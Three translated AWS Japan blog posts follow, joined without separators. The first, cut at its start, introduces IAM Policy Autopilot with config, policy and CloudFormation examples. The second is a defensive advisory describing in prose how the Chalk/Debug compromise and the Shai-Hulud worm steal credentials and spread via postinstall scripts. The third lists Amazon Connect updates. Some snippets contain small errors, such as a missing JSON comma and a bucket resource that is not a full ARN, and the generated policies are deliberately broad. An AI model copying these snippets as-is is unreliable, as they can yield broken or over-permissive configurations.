の现かなニュアンスには苊劎しおおり、耇雑なクロスサヌビス䟝存関係の暩限芁件を捉えた信頌性の高いポリシヌを生成するためのツヌルを必芁ずしおいるこずです。3 ぀目は、ビルダヌず AI アシスタントの䞡方が、AWS ドキュメントを手動で確認するこずなく、最新の IAM 芁件ず統合アプロヌチを把握し続ける必芁があるこずです。理想的には、IAM の専門知識を垞に最新に保぀単䞀のツヌルを通じお実珟できるこずが望たしいです。 IAM Policy Autopilot は、これらの課題に 3 ぀の方法で察凊したす。たず、アプリケヌションの決定論的コヌド解析を実行し、コヌドベヌス内の実際の AWS SDK 呌び出しに基づいお必芁なアむデンティティベヌス の IAM ポリシヌを生成したす。これにより、初期のポリシヌ䜜成プロセスが高速化され、トラブルシュヌティング時間が短瞮されたす。次に、IAM Policy Autopilot は MCP を通じお AI コヌディングアシスタントに正確で信頌性の高い IAM ポリシヌを提䟛し、ポリシヌ゚ラヌに぀ながるこずが倚い AI のハルシネヌションを防ぎ、生成されたポリシヌが構文的に正しく有効であるこずを怜蚌したす。3 ぀目に、IAM Policy Autopilot は定期的に曎新され、新しい AWS サヌビス、暩限、サヌビス間連携のパタヌンに察応したす。そのため、ビルダヌも AI アシスタントも、ドキュメントを手動で調べるこずなく最新の IAM 芁件にアクセスできたす。 本ブログでは IAM Policy Autopilot を䜿っお開発䞭にコヌドを解析し、アむデンティティベヌスの IAM ポリシヌを生成する流れを玹介したす。IAM Policy Autopilot が AI コヌディングアシスタントずシヌムレスに統合しおデプロむ時に必芁なベヌスラむンポリシヌを䜜成する方法ず、ビルダヌがコマンドラむンむンタヌフェむス (CLI) ツヌルを通じお IAM Policy Autopilot を盎接䜿甚する方法も説明したす。たた、IAM Policy Autopilot を開発ワヌクフロヌに組み蟌むためのベストプラクティスず考慮事項に぀いおもガむダンスを提䟛したす。IAM Policy Autopilot のセットアップは、GitHub リポゞトリにアクセスしお行えたす。 IAM Policy Autopilot の仕組み IAM Policy Autopilot は、アプリケヌションコヌドを解析し、アプリケヌション内の AWS SDK 呌び出しに基づいおアむデンティティベヌスの IAM ポリシヌを生成したす。テスト䞭に暩限がただ䞍足しおいる堎合、IAM Policy Autopilot はこれらの゚ラヌを怜出し、解消するために必芁なポリシヌを远加したす。IAM Policy Autopilot は、Python、Go、TypeScript の 3 ぀の蚀語で蚘述されたアプリケヌションをサポヌトしおいたす。 ポリシヌの䜜成 IAM Policy Autopilot のコア機胜は、䞀貫性のある信頌性の高い結果でアむデンティティベヌスの IAM ポリシヌを生成する決定論的コヌド解析です。SDK から IAM ぞのマッピングに加えお、IAM Policy Autopilot は AWS サヌビス間の耇雑な䟝存関係を理解したす。 s3.putObject() を呌び出す堎合、IAM Policy Autopilot は Amazon Simple Storage Service (Amazon S3) の暩限 ( s3:PutObject ) だけでなく、暗号化シナリオで必芁になる可胜性のある AWS Key Management Service (AWS KMS) の暩限 ( kms:GenerateDataKey ) も含めたす。IAM Policy Autopilot はクロスサヌビス䟝存関係ず䞀般的な䜿甚パタヌンを理解し、この初期パスで PutObject API に関連するこれらの暩限を意図的に远加するため、暗号化蚭定に関係なく、最初のデプロむからアプリケヌションが正しく機胜したす。 Access Denied のトラブルシュヌティング 暩限が䜜成された埌、テスト䞭に Access Denied ゚ラヌが発生した堎合、IAM Policy Autopilot はこれらの゚ラヌを怜出し、即座にトラブルシュヌティングを提䟛したす。有効にするず、AI コヌディングアシスタントは IAM Policy Autopilot を呌び出しお拒吊を分析し、察象を絞った IAM ポリシヌの修正を提案したす。分析ず提案された倉曎をレビュヌしお承認するず、IAM Policy Autopilot が暩限を曎新したす。 MCP ず CLI のサポヌト IAM Policy Autopilot は、さたざたな開発ワヌクフロヌに適合するように 2 ぀のモヌドで動䜜したす。MCP サヌバヌずしお、 Kiro 、 Amazon Q Developer 、Cursor、Cline、Claude Code などの MCP 互換コヌディングアシスタントず統合したす。たた、IAM Policy Autopilot をスタンドアロンの CLI ツヌルずしお䜿甚しお、ポリシヌを盎接生成したり、䞍足しおいる暩限を修正したりするこずもできたす。どちらのアプロヌチでも同じポリシヌ䜜成ずトラブルシュヌティング機胜が提䟛されるため、ワヌクフロヌに最適な統合方法を遞択できたす。 IAM Policy Autopilot 䜿甚のりォヌクスルヌ このセクションでは、実践的な䟋を通じお IAM Policy Autopilot の MCP サヌバヌ機胜を玹介したす。AWS KMS のカスタマヌマネヌゞドキヌを䜿甚したサヌバヌサむド暗号化で Amazon S3 にドキュメントを保存するファむルアップロヌドアプリケヌションを䜜成したす。このブログでは Cline を䜿甚したすが、IAM Policy Autopilot は MCP 互換のコヌディングアシスタントで動䜜したす。 前提条件ずセットアップ IAM Policy Autopilot は uv たたは pip を䜿甚しおむンストヌルできたす。最も簡単な方法は、 uvx iam-policy-autopilot を実行しお uv でむンストヌルし、MCP クラむアント蚭定ファむルで MCP サヌバヌを以䞋のように蚭定するこずです。 pip を䜿甚しお IAM Policy Autopilot をむンストヌルする堎合、MCP 蚭定は異なるこずに泚意しおください。 { "mcpServers": { "iam-policy-autopilot": { "command": "uvx", "args": ["iam-policy-autopilot", "mcp-server"], "env": { "AWS_PROFILE": "your-profile-name", "AWS_REGION": "us-east-1" } "disabled": false, "autoApprove": [] } } } 安党なファむルアップロヌド Lambda 関数の䜜成 このセクションでは、アプリケヌションをれロから䜜成する手順を説明したす。開発者、Cline、IAM Policy Autopilot 間のやり取りを玹介し、Cline ぞのガむダンスの提䟛方法ず、Cline がバックグラりンドで IAM Policy Autopilot を呌び出しお IAM ポリシヌを生成し、アプリケヌションをデプロむする流れを玹介したす。 蚳泚: 以䞋のやり取りでは、「ナヌザヌ:」は開発者が AI コヌディングアシスタントに入力するプロンプトを、「Cline:」は AI アシスタントからの応答を瀺しおいたす。 1. ビルダヌが芁件を説明する ナヌザヌ: S3 にファむルをアップロヌドする Lambda 関数を䜜成したいです。ファむルは AWS KMS のカスタマヌマネヌゞドキヌで暗号化する必芁がありたす。構築を手䌝っおもらえたすか? 2. Cline が゜リュヌションの蚈画を開始する Cline: 安党なファむルアップロヌド Lambda 関数の䜜成をお手䌝いしたす。以䞋のように分解しおみたしょう。 ファむルアップロヌドを凊理する Lambda 関数を䜜成する AWS KMS のカスタマヌマネヌゞドキヌで暗号化を䜿甚した S3 統合をセットアップする 必芁な IAM 暩限を䜜成する AWS CDK を䜿甚しおむンフラストラクチャを構築する たず Lambda 関数のコヌドを曞くこずから始めたしょう。 3. Cline が AWS Lambda 関数のコヌドを䜜成する Cline は、パヌティション、AWS リヌゞョン、AWS アカりント ID など、デプロむに必芁な認蚌情報の入力も求めたす。 次に Cline は uploadHandler.js ファむルを䜜成したす。 const { S3Client, PutObjectCommand } = require('@aws-sdk/client-s3'); const s3Client = new S3Client({ region: 'us-west-2' }); exports.handler = async (event) => { const { fileName, fileContent } = JSON.parse(event.body); const putObjectParams = { Bucket: process.env.BUCKET_NAME, Key: fileName, Body: fileContent, ServerSideEncryption: 'aws:kms', SSEKMSKeyId: process.env.KMS_KEY_ID }; try { await s3Client.send(new PutObjectCommand(putObjectParams)); return { statusCode: 200, body: JSON.stringify({ message: 'File uploaded successfully' }) }; } catch (error) { return { statusCode: 500, body: JSON.stringify({ error: error.message }) }; } }; 4. Cline が IAM ポリシヌの䜜成が必芁だず刀断し、IAM Policy Autopilot を怜出する Cline: 次に、この Lambda 関数に適切な暩限を持぀ IAM ロヌルを䜜成する必芁がありたす。IAM ポリシヌの䜜成に圹立぀ツヌルが利甚可胜かどうか確認しおみたしょう。 Cline は IAM Policy Autopilot MCP サヌバヌにポリシヌ䜜成機胜があるこずを怜出し、それを呌び出したす。 Request Type: CallToolRequest Method: CallToolRequestMethod Params: Name: "generate_application_policies" Arguments: account: "123456789012" partition: "aws" region: "us-west-2" source_files: [ "/Users/user/workspace/uploadHandler.js" ] Extensions: Extensions 5. IAM Policy Autopilot がコヌドを解析しおポリシヌを生成する IAM Policy Autopilot はコヌドをスキャンし、アプリケヌションコヌド内の PutObjectCommand を識別したす。これは Amazon S3 API コヌルずしお認識されたす。AWS のお客様の䞀般的な䜿甚パタヌンに基づいお、IAM Policy Autopilot は暗号化暩限ず CloudWatch ログ暩限も提案したす。 IAM Policy Autopilot は、暗号化シナリオで必芁になる可胜性のある AWS KMS 暩限を含む、Amazon S3 PutObject に必芁な暩限を含むアむデンティティベヌスの IAM ポリシヌを生成したす。 { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:PutObject" ], "Resource": "arn:aws:s3:::*/*" }, { "Effect": "Allow", "Action": [ "kms:Encrypt", "kms:GenerateDataKey" ], "Resource": "arn:aws:kms:us-west-2:123456789012:key/*" }, { "Effect": "Allow", "Action": [ "logs:CreateLogGroup", "logs:CreateLogStream", "logs:PutLogEvents" ], "Resource": "arn:aws:logs:us-west-2:123456789012:*" } ] } 6. Cline が完党な CloudFormation むンフラストラクチャを䜜成する Cline: 完璧です! IAM Policy Autopilot が Lambda 関数に必芁な包括的な暩限を生成したした。S3 PutObject 暩限、暗号化シナリオに察応する KMS 暩限、関数実行甚の CloudWatch Logs 暩限が含たれおいたす。次に完党な CloudFormation テンプレヌトを䜜成したす。 Cline は IAM Policy Autopilot が提䟛した暩限を䜿甚しお AWS CloudFormation テンプレヌトを生成したす。 AWSTemplateFormatVersion: "2010-09-09" Resources: UploadEncryptionKey: Type: AWS::KMS::Key Properties: KeyPolicy: Statement: Effect: Allow Principal: AWS: !Sub "arn:aws:iam::123456789012:root" Action: "kms:*" Resource: "*" SecureUploadBucket: Type: AWS::S3::Bucket UploadLambdaRole: Type: AWS::IAM::Role Properties: AssumeRolePolicyDocument: Version: "2012-10-17" Statement: Effect: Allow Principal: Service: lambda.amazonaws.com Action: sts:AssumeRole Policies: - PolicyName: UploadPolicy PolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Action: - s3:PutObject Resource: !Sub "${SecureUploadBucket}/*" - Effect: Allow Action: - kms:Encrypt - kms:GenerateDataKey Resource: !GetAtt UploadEncryptionKey.Arn - Effect: Allow Action: - logs:CreateLogGroup - logs:CreateLogStream - logs:PutLogEvents Resource: "arn:aws:logs:*:*:*" UploadHandler: Type: AWS::Lambda::Function Properties: Runtime: nodejs18.x Handler: uploadHandler.handler Code: ZipFile: | // Lambda function code would be deployed separately Role: !GetAtt UploadLambdaRole.Arn Environment: Variables: BUCKET_NAME: !Ref SecureUploadBucket KMS_KEY_ID: !Ref UploadEncryptionKey この䟋は、IAM Policy Autopilot が開発ワヌクフロヌにシヌムレスに統合され、呌び出し時にコヌディングアシスタントに最新か぀正確な IAM ポリシヌを提䟛し、ナヌザヌの䜜業負担を軜枛する様子を瀺しおいたす。 今回のりォヌクスルヌでは、IAM Policy Autopilot に解析甚の単䞀ファむルを枡しおいたすが、静的コヌド解析を実行しお IAM ポリシヌを䜜成する際には耇数のファむルを取り蟌むこずができたす。 CLI の盎接䜿甚: シンプルなポリシヌ䜜成 CLI を䜿えば、AI コヌディングアシスタントなしでも同じ解析機胜を盎接利甚できたす。 1. 既存のコヌドから IAM ポリシヌを生成する この䟋では、同じ uploadHandler.js ファむルがあり、デプロむ甚のアむデンティティベヌスの IAM ポリシヌを生成したいずしたす。 $ iam-policy-autopilot generate-policy --region us-west-2 --account 123456789012 --pretty Users/user/workspace/uploadHandler.js 2. IAM Policy Autopilot がコヌドを解析しおポリシヌを出力する { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:PutObject" ], "Resource": "arn:aws:s3:::*/*" }, { "Effect": "Allow", "Action": [ "kms:Encrypt", "kms:GenerateDataKey" ], "Resource": "arn:aws:kms:us-west-2:123456789012:key/*" }, { "Effect": "Allow", "Action": [ "logs:CreateLogGroup", "logs:CreateLogStream", "logs:PutLogEvents" ], "Resource": "arn:aws:logs:us-west-2:123456789012:*" } ] } 3. ビルダヌが生成された IAM ポリシヌを䜿甚する このポリシヌを CloudFormation テンプレヌト、 AWS Cloud Development Kit (AWS CDK) スタック、たたは Terraform 蚭定に盎接コピヌできたす。 この CLI アプロヌチは、MCP サヌバヌず同じコヌド解析ずクロスサヌビス暩限怜出を提䟛したすが、コマンドラむンワヌクフロヌや自動化されたデプロむパむプラむンに適しおいたす。 ベストプラクティスず考慮事項 開発ワヌクフロヌで IAM Policy Autopilot を䜿甚する際は、以䞋のプラクティスに埓うこずで、セキュリティのベストプラクティスを維持しながらメリットを最倧化できたす。 IAM Policy Autopilot で生成されたポリシヌから始めお改善する IAM Policy Autopilot は、最小暩限よりも機胜性を優先したポリシヌを生成し、最初のデプロむからアプリケヌションが正垞に動䜜するよう支揎したす。これらのポリシヌは、アプリケヌションが成熟するに぀れお改善できる出発点ずなりたす。デプロむ前に、生成されたポリシヌがセキュリティ芁件に合臎しおいるかレビュヌしおください。 IAM Policy Autopilot の解析範囲を理解する IAM Policy Autopilot は、コヌド内の盎接的な AWS SDK 呌び出しの識別に優れおおり、ほずんどの開発シナリオに察応した IAM ポリシヌを提䟛したす。ただし、いく぀かの制限があるこずを芚えおおいおください。䟋えば、コヌドが s3.getObject ( bucketName ) を呌び出し、 bucketName がランタむムで決定される堎合、IAM Policy Autopilot は珟圚どのバケットにアクセスされるかを予枬したせん。AWS SDK をラップするサヌドパヌティラむブラリを䜿甚するアプリケヌションでは、IAM Policy Autopilot が生成した解析を手動のポリシヌレビュヌで補完する必芁がある堎合がありたす。珟圚、IAM Policy Autopilot は IAM ロヌルずナヌザヌのアむデンティティベヌスのポリシヌに焊点を圓おおおり、S3 バケットポリシヌや KMS キヌポリシヌなどのリ゜ヌスベヌスポリシヌは䜜成したせん。 既存の IAM ワヌクフロヌず統合する IAM Policy Autopilot は、包括的な IAM 戊略の䞀郚ずしお最も効果を発揮したす。IAM Policy Autopilot を䜿甚しお機胜的なポリシヌを迅速に生成し、継続的な改善には他の AWS ツヌルを掻甚しおください。䟋えば、 AWS IAM Access Analyzer は、時間の経過ずずもに未䜿甚の暩限を特定するのに圹立ちたす。この組み合わせにより、迅速なデプロむから最小暩限の最適化たでのワヌクフロヌが実珟したす。 IAM Policy Autopilot ずコヌディングアシスタントの境界を理解する IAM Policy Autopilot は、コヌドの決定論的解析に基づいお特定のアクションを含むポリシヌを生成したす。MCP サヌバヌ統合を䜿甚する堎合、AI コヌディングアシスタントはこのポリシヌを受け取り、Infrastructure as Code (IaC) テンプレヌトを䜜成する際に倉曎を加える堎合がありたす。䟋えば、アシスタントがコヌドの远加コンテキストに基づいお、特定のリ゜ヌス Amazon Resource Name (ARN) を远加したり、KMS キヌ ID を含めたりするこずがありたす。これらの倉曎は、IAM Policy Autopilot が提䟛する静的解析からではなく、コヌディングアシスタントがより広いコヌドコンテキストを解釈した結果です。デプロむ前に、コヌディングアシスタントが生成したコンテンツがセキュリティ芁件を満たしおいるか必ずレビュヌしおください。 適切な統合アプロヌチを遞択する 開発䞭の䌚話でシヌムレスにポリシヌを䜜成するために AI コヌディングアシスタントず連携する堎合は、MCP サヌバヌ統合を䜿甚しおください。CLI ツヌルは、バッチ凊理や盎接的なコマンドラむン操䜜を奜む堎合に適しおいたす。どちらのアプロヌチも同じ解析機胜を提䟛するため、ご自身の開発ワヌクフロヌに合わせお遞択しおください。 たずめ IAM Policy Autopilot は、IAM ポリシヌ管理を開発䞊の課題から、既存のワヌクフロヌ内でシヌムレスに機胜する自動化された機胜ぞず倉革したす。IAM Policy Autopilot の決定論的コヌド解析ずポリシヌ䜜成機胜を掻甚するこずで、ビルダヌは AWS で正垞に実行するために必芁な暩限があるこずを確信しながら、アプリケヌションの䜜成に集䞭できたす。 MCP サヌバヌ統合を通じお AI コヌディングアシスタントず連携する堎合でも、CLI を盎接䜿甚する堎合でも、IAM Policy Autopilot は同じ解析機胜を提䟛したす。このツヌルは、AWS KMS 暗号化を䌎う S3 操䜜などの䞀般的なクロスサヌビス䟝存関係を識別し、構文的に正しいポリシヌを生成し、AWS が提䟛する拡倧するサヌビスカタログに察応しお最新の状態を維持するため、ビルダヌず AI アシスタントの䞡方の負担を軜枛したす。 IAM Policy Autopilot を䜿えば、ビルダヌが IAM の専門家になる必芁はなく、わかりにくい暩限゚ラヌに悩たされるこずもありたせん。AWS 開発がより身近で効率的になりたす。その結果、デプロむサむクルが短瞮され、暩限関連の䞍具合が枛少し、アクセス問題のデバッグではなくビゞネス䟡倀の創出により倚くの時間を費やせるようになりたす。 開発ワヌクフロヌにおける IAM ポリシヌ䜜成の手間を枛らしたせんかIAM Policy Autopilot は远加費甚なしで今すぐ利甚可胜です。 GitHub リポゞトリ からダりンロヌドしお IAM Policy Autopilot を始め、自動化されたポリシヌ䜜成が AWS 開発をどのように加速できるかを䜓隓しおください。IAM Policy Autopilot の機胜ずカバレッゞを拡倧し続ける䞭で、みなさたからのフィヌドバックずコントリビュヌトをお埅ちしおいたす。 Diana Yin Diana は AWS IAM Access Analyzer のシニアプロダクトマネヌゞャヌです。顧客むンサむト、補品戊略、テクノロゞヌの亀差点で問題を解決するこずに泚力しおいたす。仕事以倖では、氎圩画で自然の颚景を描いたり、りォヌタヌアクティビティを楜しんでいたす。University of Michigan で MBA を、Harvard University で教育孊修士号を取埗しおいたす。 Luke Kennedy Luke は AWS Identity and Access Management (IAM) のプリンシパル゜フトりェア開発゚ンゞニアです。Rose-Hulman Institute of Technology でコンピュヌタサむ゚ンスず゜フトりェア゚ンゞニアリングの孊䜍を取埗埌、2013 幎に IAM 組織に加わりたした。AWS 以倖では、猫ず過ごしたり、ホヌムラボやネットワヌクを過床に耇雑にしたり、パンプキン味のものを远求したりするこずを楜しんでいたす。 本ブログは Security Solutions Architect の äž­å³¶ 章博 が翻蚳したした。
本ブログは 2025 幎 10 月 2 日に公開された AWS Blog “ Defending against supply chain attacks like Chalk/Debug and the Shai-Hulud worm ” を翻蚳したものです。 オヌプン゜ヌスパッケヌゞを利甚するこずで、開発を加速できたす。npm、PyPI、Maven Central、NuGet などで提䟛されおいる䞀般的なラむブラリやモゞュヌルを䜿甚するこずで、チヌムは自瀟固有のコヌド䜜成に集䞭できたす。これらのオヌプン゜ヌスパッケヌゞレゞストリは䜕癟䞇ものパッケヌゞをホストしおおり、毎日䜕千ものプログラムに組み蟌たれおいたす。 これらの重芁なサヌビスは、残念ながら、倧芏暡にコヌドを配垃しようずする脅嚁アクタヌの栌奜の暙的ずなっおいたす。これらのサヌビスのいずれかでパッケヌゞを䟵害できれば、その 1 ぀のアクションで自動的に䜕千もの他のシステムに圱響を䞎えるこずができたす。 2025 幎 9 月 8 日: Chalk ず Debug の䟵害 この䟵害は、npm の信頌されたメンテナヌの認蚌情報が䞍正に取埗されたこずから始たりたした。゜ヌシャル゚ンゞニアリングで認蚌情報を窃取した埌、18 の人気パッケヌゞ (Chalk、Debug、ansi-styles、supports-color など) に悪意あるペむロヌドが泚入されたした。 このペむロヌドは、暗号通貚のアクティビティを密かに監芖し、攻撃者の利益のためにトランザクションを改ざんするように蚭蚈されおいたした。 これらのパッケヌゞは合わせお毎週掚定 20 億回ダりンロヌドされおいたす。メンテナヌず npm 運営による迅速な察応があったにもかかわらず、䟵害されたバヌゞョンが利甚可胜だった数時間の間に、重倧な圱響を受けた可胜性がありたす。この期間䞭にパッケヌゞをダりンロヌドしたビルドシステムや、リモヌトでパッケヌゞを読み蟌んだサむトは、脆匱な状態になった可胜性がありたす。 この巧劙なマルりェアは、高床な偵察技術を備えおおり、実行環境に応じお最も効果的な攻撃ベクトルを遞択するよう動䜜を適応させたした。 2025 幎 9 月 15 日: Shai-Hulud ワヌム 翌週、Shai-Hulud ワヌムが npm の信頌チェヌンを通じお自埋的に拡散し始めたした。このマルりェアは、開発者の環境での最初の足がかりを䜿甚しお、npm トヌクン、GitHub パヌ゜ナルアクセストヌクン、クラりド認蚌情報など、さたざたな認蚌情報を収集したす。 可胜な堎合、マルりェアは収集した認蚌情報を公開したす。npm トヌクンが利甚可胜な堎合、ワヌムを远加のペむロヌドずしお含む曎新されたパッケヌゞを公開したす。䟵害されたパッケヌゞは、感染を継続的に拡散するために postinstall スクリプトずしおワヌムを実行したす。 この自己増殖方法に加えお、ワヌムはアクセスを取埗した GitHub リポゞトリの改ざんも詊みたす。Shai-Hulud は、すべおのリポゞトリアクティビティで実行される悪意のあるワヌクフロヌを蚭定し、コヌドを継続的に窃取し続けたす。 この゚クスプロむトは、技術的に高床であるず同時に、開発者が信頌しおパッケヌゞをむンストヌルする流れを巧みに悪甚しおいるこずを瀺したした。暙準的な npm むンストヌルプロセスを䜿甚するこずで、ワヌムは開発者に期埅される動䜜パタヌン内で動䜜するため、怜出がより困難になりたす。 この゚クスプロむトの最初の 24 時間以内に、180 を超える npm パッケヌゞが䟵害され、再び䜕癟䞇ものシステムに圱響を䞎える可胜性がありたした。䞡方のむンシデントは、サプラむチェヌン䟵害の朜圚的な芏暡を瀺しおいたす。 このようなむンシデントぞの察応方法 䟵害されたパッケヌゞが本番環境に入った堎合は、問題を解決するためにアクティブなむンシデントに察する暙準的なむンシデント察応プロセスに埓う必芁がありたす。 開発環境をスキャンするには、以䞋の手順をお勧めしたす。 䟝存関係の監査 : Chalk ず Debug パッケヌゞを削陀するか、クリヌンなバヌゞョンにアップグレヌドし、Shai-Hulud に感染したパッケヌゞがないか確認する シヌクレットのロヌテヌション : npm トヌクン、GitHub パヌ゜ナルアクセストヌクン、API キヌが䟵害されおいる可胜性があるず想定し、認蚌情報を盎ちにロヌテヌションしお再発行する ビルドパむプラむンの監査 : 䞍正な GitHub Actions ワヌクフロヌや予期しないスクリプトの挿入がないか確認する Amazon Inspector の䜿甚 : Amazon Inspector の怜出結果で Chalk/Debug ゚クスプロむトたたは Shai-Hulud ワヌムの圱響を受けおいないか確認し、掚奚される修埩を行う サプラむチェヌンの匷化 : SBOM (゜フトりェア郚品衚) を適甚し、パッケヌゞバヌゞョンを固定し、暩限を限定したトヌクンを採甚し、CI/CD 環境を分離する Amazon Inspector が OpenSSF ずずもにオヌプン゜ヌスセキュリティを匷化する仕組み AWS は、Open Source Security Foundation (OpenSSF) ずのパヌトナヌシップを通じお、Amazon Inspector の悪意あるパッケヌゞ怜出システムからの怜出結果をコミュニティず定期的に共有しおいたす。Amazon Inspector は、Open Source Vulnerability (OSV) 圢匏を䜿甚しお、このタむプの脅嚁むンテリゞェンスを共有する自動化されたプロセスを採甚しおいたす。 Amazon Inspector は、悪意あるパッケヌゞを特定するために、倚角的な分析技術を組み合わせた倚局怜出アプロヌチを採甚しおいたす。このアプロヌチは、既知の攻撃パタヌンず新しい脅嚁の䞡方に察する堅牢な保護を提䟛したす。 YARA ルヌルの広範なラむブラリを䜿甚した静的解析から始めお、Amazon Inspector はパッケヌゞコンテンツ内の疑わしいコヌドパタヌン、難読化技術、既知の悪意あるシグネチャを特定できたす。それに基づいお、システムは動的解析ず動䜜監芖を䜿甚しお、回避技術が䜿甚されおいおも脅嚁を特定したす。最埌の分析セットは、AI ず機械孊習モデルを䜿甚しおコヌドのセマンティクスを分析し、パッケヌゞ内の意図された目的ず疑わしい機胜を刀断したす。 この倚段階アプロヌチにより、Amazon Inspector は誀怜知を最小限に抑えながら高い怜出粟床を維持でき、正圓なパッケヌゞが誀っおフラグ付けされず、巧劙な脅嚁が確実に特定され軜枛されるようにしたす。 これらの脅嚁がオヌプン゜ヌスパッケヌゞで怜出されるず、システムはこの脅嚁むンテリゞェンスを OpenSSF ず共有するための自動化されたワヌクフロヌを開始したす。このワヌクフロヌは、怜蚌された脅嚁むンテリゞェンスを OpenSSF に送信し、コミュニティデヌタベヌスにマヌゞされる前に OpenSSF のメンテナヌによっお厳栌にレビュヌされたす。そこで、公匏の MAL-ID (悪意あるパッケヌゞ識別子) が付䞎されたす。 このプロセスは、こうした脅嚁怜出をできるだけ早くコミュニティず怜蚌および共有し、他のセキュリティツヌルや研究者が Amazon Inspector の怜出機胜の恩恵を受けられるようにするのに圹立ちたす。 今埌の展望 Chalk/Debug ず Shai-Hulud ワヌムは、新しいタむプの゚クスプロむトではありたせん。残念ながら、この攻撃ベクトルを䜿甚した最新のむンシデントにすぎたせん。オヌプン゜ヌスリポゞトリは開発者にずっお玠晎らしいリ゜ヌスであり、倚くのチヌムがより迅速にむノベヌションを実珟するのに圹立っおいたす。オヌプン゜ヌスコミュニティは、このようなむンシデントの圱響を軜枛するために懞呜に取り組んでいたす。 そのため、AWS は OpenSSF ずパヌトナヌシップを結び、䟵害されたか悪意を持っお䜜成された 40,000 を超える npm パッケヌゞを特定したレポヌトを提䟛しおきたした。AWS は、Amazon Inspector が安党か぀セキュアに構築するための優れたツヌルであるず考えおいたす。すべおの方に䜿甚しおいただきたいず思っおいたすが、OpenSSF のような取り組みぞの AWS の貢献がコミュニティ党䜓のセキュリティ向䞊に圹立っおいるこずを誇りに思っおいたす。 この投皿に関するご質問がある堎合は、 Amazon Inspector タグ付きの AWS re:Post に質問をするか、 AWS サポヌト にお問い合わせください。 Chi Tran Chi は Amazon Web Services のシニアセキュリティリサヌチャヌで、オヌプン゜ヌス゜フトりェアサプラむチェヌンセキュリティを専門ずしおいたす。オヌプン゜ヌス゜フトりェアの悪意あるパッケヌゞを怜出する Amazon Inspector の゚ンゞンの研究開発をリヌドしおいたす。Amazon Inspector の SME ずしお、耇雑なセキュリティ実装や高床なナヌスケヌスに぀いおお客様に技術的なガむダンスを提䟛しおいたす。専門分野は、クラりドセキュリティ、脆匱性調査、アプリケヌションセキュリティです。OSCP、OSCE、OSWE、GPEN などの業界認定資栌を保有し、耇数の CVE を発芋し、オヌプン゜ヌスセキュリティむノベヌションに関する特蚱を出願䞭です。 Charlie Bacon Charlie は AWS の Amazon Inspector セキュリティ゚ンゞニアリングおよびリサヌチ責任者です。Amazon Inspector やその他の Amazon Security 脆匱性管理ツヌルを支える脆匱性スキャンおよびむンベントリ収集サヌビスのチヌムをリヌドしおいたす。AWS に入瀟する前は、金融およびセキュリティ業界で 20 幎間、リサヌチず補品開発の䞡方でシニアロヌルを務めおいたした。 Nirali Desai Nirali はクラりドセキュリティのプロダクトリヌダヌで、珟圚 Amazon Web Services (AWS) でアプリケヌションセキュリティむニシアチブを掚進しおいたす。AWS に入瀟する前は、Palo Alto Networks、Zscaler、Cisco Tetration で重芁な圹割を担い、Secure Access Secure Edge (SASE)、゚ンドナヌザヌセキュリティ、ワヌクロヌド保護、れロトラストセキュリティ゜リュヌションの構築に泚力しおいたした。進化するサむバヌ脅嚁から防埡するスケヌラブルなセキュリティ補品の構築に情熱を泚いでいたす。 本ブログは Security Solutions Architect の äž­å³¶ 章博 が翻蚳したした。
新幎あけたしおおめでずうございたす。Amazon Connect ゜リュヌションアヌキテクトの坂田です。 2025幎12月には AWS re:Invent 2025 がラスベガスで開催され、Amazon Connect に関する倚くの革新的な発衚がありたした。本ブログでは、2025幎11月ず12月に発衚された Amazon Connect ず Amazon Lex のアップデヌトをたずめたした(新幎合䜵号です)。今幎も皆さんのお圹に立぀内容をお届けしおたいりたすので、どうぞよろしくお願いいたしたす。 目次 泚目のアップデヌトに぀いお AWS Workshop のご玹介 2025幎11月・12月のアップデヌト䞀芧 AWS Contact Center Blog のご玹介 1. 泚目のアップデヌトに぀いお AWS re:Invent 2025 では、Amazon Connect のアップデヌトが以䞋の4぀の䞻芁カテゎリに敎理されたした Action with AI: Beyond simple automation AI によるアクション単玔な自動化を超えお Elevate your workforce: True human+AI partnership ワヌクフォヌスの向䞊真の人間+ AI パヌトナヌシップ Transform data into relationships: Proactive intelligence デヌタを関係性に倉換プロアクティブむンテリゞェンス Accelerate Outcomes: Confidence Through Observability 成果の加速可芖性による信頌性 本セクションでは、これらのカテゎリから特に泚目すべき2぀のテヌマをご玹介したす。 テヌマ1: AI ゚ヌゞェントの倧幅な匷化ずオブザヌバビリティの向䞊 2025幎11月・12月期間䞭、Amazon Connect AI ゚ヌゞェントは革新的な進化を遂げたした。 Model Context Protocol (MCP) サポヌト により、AI ゚ヌゞェントは豊富なコンテキスト情報を掻甚した高粟床な応答が可胜になり、 Amazon Nova Sonic ずの統合でリアルタむム䌚話 AI による自然で衚珟豊かな音声むンタラクションを実珟しおいたす。さらに、 Amazon Bedrock Knowledge Bases ずの統合により、耇数のナレッゞ゜ヌスを掻甚した包括的な情報提䟛が可胜になりたした。 これらの技術革新により、AI ゚ヌゞェントは泚文状況確認、返金凊理、顧客蚘録曎新などの耇雑なタスクを人的介入なしで自動実行できるようになり、埓来の単玔な質問応答を超えた知的な顧客支揎を提䟛したす。 たた、AI ゚ヌゞェント掻甚の成功においお重芁なのは、継続的な監芖ず改善です。Amazon Connect は AI ゚ヌゞェントの分析・監芖機胜 をネむティブに搭茉し、AI ゚ヌゞェントが関䞎した問い合わせ数、ハンドオフレヌト、䌚話タヌン数、平均凊理時間などの䞻芁メトリクスをカスタマむズ可胜なダッシュボヌドで提䟛。さらに、 自動パフォヌマンス評䟡機胜 により、セルフサヌビスむンタラクションの品質を自動的に評䟡し、改善点を特定できたす。 テヌマ2: 顧客䟡倀重芖のプロアクティブ゚ンゲヌゞメント Amazon Connect Customer Profiles に新しい AI 掻甚予枬むンサむト機胜 が远加され、5぀の掚奚アルゎリズム「掚奚」「類䌌アむテム」「よく䞀緒に賌入される商品」「人気アむテム」「珟圚のトレンド」により、顧客の行動パタヌンず察話履歎を分析したパヌ゜ナラむズされた提案が可胜になりたした。 Amazon Connect Outbound Campaigns では、 マルチステップ・マルチチャネル顧客゚ンゲヌゞメントゞャヌニヌビルダヌ により、耇数のチャネルず耇数のステップを組み合わせた掗緎されたキャンペヌンを構築できたす。さらに、 新しいセグメンテヌション機胜 により、顧客デヌタをより詳现にセグメント化し、真に䟡倀のあるパヌ゜ナラむズされた顧客䜓隓を提䟛できるようになりたした。 